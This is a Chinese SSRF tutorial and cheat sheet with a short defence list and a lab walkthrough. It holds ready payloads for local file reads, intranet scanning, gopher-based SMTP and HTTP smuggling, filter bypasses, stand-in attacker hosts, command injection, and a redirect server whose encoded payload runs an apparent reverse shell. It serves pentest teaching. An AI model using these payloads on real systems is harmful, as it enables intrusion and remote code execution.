:::color1 SSRF 又称为 服务端请求伪造, 这是一个允许服务器向恶意用户指定的资源发出请求的漏洞

:::

介绍

举个例子:

在日常上网过程中,我们经常需要向服务器 (A) 请求一些资源,但是这些资源很有可能在其他服务器 (B)上,这时候服务器 (A) 就需要向服务器 (B) 发送一个请求,来请求指定的资源,这本来是很正常的操作,但是如果请求资源的地址在客户端显露出来,并且服务器没有做任何过滤的请求的情况下,我们就可以来指定服务器 (A) 请求资源的位置,进而形成 SSRF 攻击。

捕获 SSRF

当我们涉及到 SSRF 攻击时我们需要的是捕获我们的 HTTP 和 DNS 交互内容.我们可以使用下列工具:

影响

成功的 SSRF 漏洞可以造成的影响:

  • 进入未授权访问的区域: 比如后台管理界面
  • 访问服务器数据 : 使用 file 等协议读取本地文件
  • 进行内网攻击: 端口扫描、攻击内网程序、识别内部资产信息、攻击内网应用
  • 跳板攻击

:::color2 SSRF 的攻击发起恶意请求的是服务器,因此可以绕过大部分的防护设备,同时又因为内网防护通常弱于外网,所以更便于攻击

:::

攻击

类型 描述
常规 SSRF 数据返回到攻击端设备
Bind SSRF 发送 SSRF 但是没有数据返回,需要借助第三方设备验证

:::tips 如果测试 Bind SSRF ,我们需要使用外部 HTTP 日志记录工具来监视请求

:::

寻找

在地址栏参数中使用网址 URL 地址:

SSRF - 图1

表单中隐藏字段:

SSRF - 图2

特殊 URL eg: server

SSRF - 图3

URL 路径

SSRF - 图4

针对服务器本身

攻击者修改请求地址为后台管理界面

  1. POST /product/stock HTTP/1.0
  2. Content-Type: application/x-www-form-urlencoded
  3. Content-Length: 118
  4. stockApi=http://localhost/admin

服务器将会把 /admin 内容返回给客户

针对内网系统

  1. POST /product/stock HTTP/1.0
  2. Content-Type: application/x-www-form-urlencoded
  3. Content-Length: 118
  4. stockApi=http://192.168.0.68/admin

Bind SSRF

:::warning 检测 Bind SSRF 攻击的最可靠方法是使用 OAST 技术

我们构建的请求地址为自己的服务器、公开的 HTTP 日志记录器、DNS 客户端

:::

读取服务器文件

  1. ssrf.php?url=file:///etc/passwd
  2. ssrf.php?url=file:///var/www/html/flag.php

探测内网存活主机

  1. ssrf.php?url=http://192.168.52.1
  2. ssrf.php?url=http://192.168.52.6
  3. ssrf.php?url=http://192.168.52.25
  4. ......

扫描内网端口

  1. ssrf.php?url=dict://192.168.52.131:6379/info // redis
  2. ssrf.php?url=dict://192.168.52.131:80/info // http
  3. ssrf.php?url=dict://192.168.52.130:22/info // ssh

协议

file://

  1. file:///etc/passwd

dict://

  1. dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
  2. ssrf.php?url=dict://attacker:11111/

SFTP://

  1. ssrf.php?url=sftp://evil.com:11111/

TFTP://

  1. ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

轻量级目录访问协议。它是一种在IP网络上用于管理和访问分布式目录信息服务的应用协议。

  1. ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

使用该协议,你可以指定你希望服务器发送的IP、端口和字节。然后,你基本上可以利用SSRF与任何TCP服务器通信(但你需要先知道如何与服务对话)。

幸运的是,你可以使用Gopherus来为几个服务创建有效载荷。此外,remote-method-guesser可以用来为Java RMI服务创建Gopher有效载荷。

Gopher smtp

  1. ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
  2. will make a request like
  3. HELO localhost
  4. MAIL FROM:<hacker@site.com>
  5. RCPT TO:<victim@site.com>
  6. DATA
  7. From: [Hacker] <hacker@site.com>
  8. To: <victime@site.com>
  9. Date: Tue, 15 Sep 2017 17:20:26 -0400
  10. Subject: Ah Ah AHYou didn't say the magic word !
  11. .
  12. QUIT

Gopher HTTP

  1. #For new lines you can use %0A, %0D%0A
  2. gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
  3. gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

  1. <?php
  2. header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
  3. ?>Now query it.
  4. https://example.com/?q=http://evil.com/redirect.php.

SMTP

https://twitter.com/har1sec/status/1182255952055164929

  1. 在 smtp localhost:25 上连接 SSRF
  2. 从第一行获取内部域名
    220 http://blabla.internaldomain.com ESMTP 发送邮件
  3. 在github上搜索http://internaldomain.com ,找到子域名
  4. 连接

curl URL 通配符

如果 SSRF 由curl执行, curl 具有称为URL globbing 的功能,可用于绕过 WAF。例如,在这篇文章中,您可以找到通过协议进行路径遍历的示例:file

  1. file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

利用 Referrer HTTP Header 的 SSRF

一些应用程序采用服务器端的分析软件来跟踪访问者。这种软件经常记录请求中的Referrer标头,因为这对追踪进入的链接特别有意义。通常情况下,分析软件会实际访问出现在 “推荐人 “标题中的任何第三方URL。这通常是为了分析推荐网站的内容,包括传入链接中使用的锚文本。因此,” Referer “标头往往代表了SSRF漏洞的富有成效的攻击面。

为了发现这种 “隐藏 “的漏洞,你可以使用Burp的插件 “Collaborator Everywhere”。

通过证书的SNI数据进行SSRF

最简单的错误配置将允许你连接到一个任意的后端,看起来像这样:

  1. stream {
  2. server {
  3. listen 443;
  4. resolver 127.0.0.11;
  5. proxy_pass $ssl_preread_server_name:443;
  6. ssl_preread on;
  7. }
  8. }

在这里,SNI字段的值被直接作为后端地址使用。

通过这种不安全的配置,我们只需在SNI字段中指定所需的IP或域名,就可以利用SSRF的漏洞。例如,下面的命令将迫使Nginx连接到internal.host.com:

  1. openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

wget 文件上传

文件上传

带有命令注入的 SSRF

可能值得尝试以下有效负载:

  1. url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDF 渲染

如果网页用你提供的一些信息自动创建一个PDF,你可以插入一些JS,这些JS将由PDF创建者本身(服务器)在创建PDF时执行,你将能够滥用一个SSRF Server Side XSS (Dynamic PDF) - HackTricks

SSRF 到 DDOS

创建几个会话,并尝试从这些会话中下载利用SSRF的重文件。

SSRF Functions

PHP SSRF - HackTricks

SSRF 重定向到 Gopher

对于某些漏洞,你可能需要发送一个重定向响应(可能是使用不同的协议,如gopher)。这里你有不同的python代码来响应重定向:

  1. # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
  2. from http.server import HTTPServer, BaseHTTPRequestHandler
  3. import ssl
  4. class MainHandler(BaseHTTPRequestHandler):
  5. def do_GET(self):
  6. print("GET")
  7. self.send_response(301)
  8. self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
  9. self.end_headers()
  10. httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
  11. httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
  12. httpd.serve_forever()
  1. from flask import Flask, redirect
  2. from urllib.parse import quote
  3. app = Flask(__name__)
  4. @app.route('/')
  5. def root():
  6. return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
  7. if __name__ == "__main__":
  8. app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

绕过

黑名单

大部分应用程序都会阻止包含主机名或者敏感 URL 地址

  • 使用替代 IP 表示
  1. http://2130706433/
  2. http://017700000001/
  3. http://localhost/ # localhost就是代指127.0.0.1
  4. http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
  5. http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
  6. http://[::]:80/ # 在liunx下可用,window测试了下不行
  7. http://127。0。0。1/ # 用中文句号绕过
  8. http://①②⑦.⓪.⓪.①
  9. http://127.1/
  10. http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
  • URL 编码

白名单

应用程序只允许输入匹配、开头或包含允许值的白名单,这时候我们可以使用 URL 解析的不一致来绕过过滤器

URL Format ByPass

  • @ 允许我们在主机名之前插入凭据
  1. https://expected-host@evil-host
  2. http://abc@127.0.0.1
  3. 实际上是以用户名abc连接到站点127.0.0.1,同理
  • 指示 URL 片段

  1. https://evil-host#expected-host
  • 使用 DNS 命名层次结构将所需输入放入我们控制的完全限定 DNS 名称
  1. https://expected-host.evil-host
  2. # 原理是DNS解析。xip.io可以指向任意域名,即
  3. 127.0.0.1.xip.io,可解析为127.0.0.1

开放重定向

有时可以通过利用开放重定向漏洞来规避任何类型的基于过滤器的防御。

在前面的 SSRF 示例中,假设用户提交的 URL 被严格验证以防止恶意利用 SSRF 行为。但是,允许使用 URL 的应用程序存在开放重定向漏洞。如果用于发出后端 HTTP 请求的 API 支持重定向,您可以构建一个满足过滤器的 URL,并将请求重定向到所需的后端目标。

例如,假设应用程序包含一个开放重定向漏洞,其中包含以下 URL:

  1. /product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到:

  1. http://evil-user.net

可以利用开放重定向漏洞绕过URL过滤,利用SSRF漏洞,方法如下:

  1. POST /product/stock HTTP/1.0
  2. Content-Type: application/x-www-form-urlencoded
  3. Content-Length: 118
  4. stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

此 SSRF 漏洞利用之所以有效,是因为应用程序首先验证提供的stockAPIURL 是否位于允许的域中,而事实确实如此。然后应用程序请求提供的 URL,这会触发打开重定向。它遵循重定向,并向攻击者选择的内部 URL 发出请求。

防御

  • 禁用不需要的协议: file:///、gopher://,dict://等
  • 统一错误消息,避免又错误信息判断端口状态
  • 禁止 302 跳转,或者每个跳转时进行检查是否是内网 IP
  • 设置白名单或限制内网 IP

攻击示意

:::tips

  • /private : 目标站点存在一个私有内容不允许查看
  • /customers/new-account-page : 允许客户为他们的账户选择头像

:::

访问 /customers/new-account-page 界面后,我们查看源代码,我们可以发现头像表单字段包含图像路径:

SSRF - 图5

当我们点击更换头像后,我们可以看到表单的变换:

SSRF - 图6

头像的值以 Base64 加密显示,现在我们修改头像的 value 值。让其执行 private

SSRF - 图7

当我们发起请求后,我们可以发现返回一个警告:表明 URL 地址不能以 private 开头

SSRF - 图8

我们利用结合目标遍历漏洞进行攻击:

SSRF - 图9

发起请求后显示更新成功,我们查看源代码并使用 Base64 解密,就发现了 FLAG

SSRF - 图10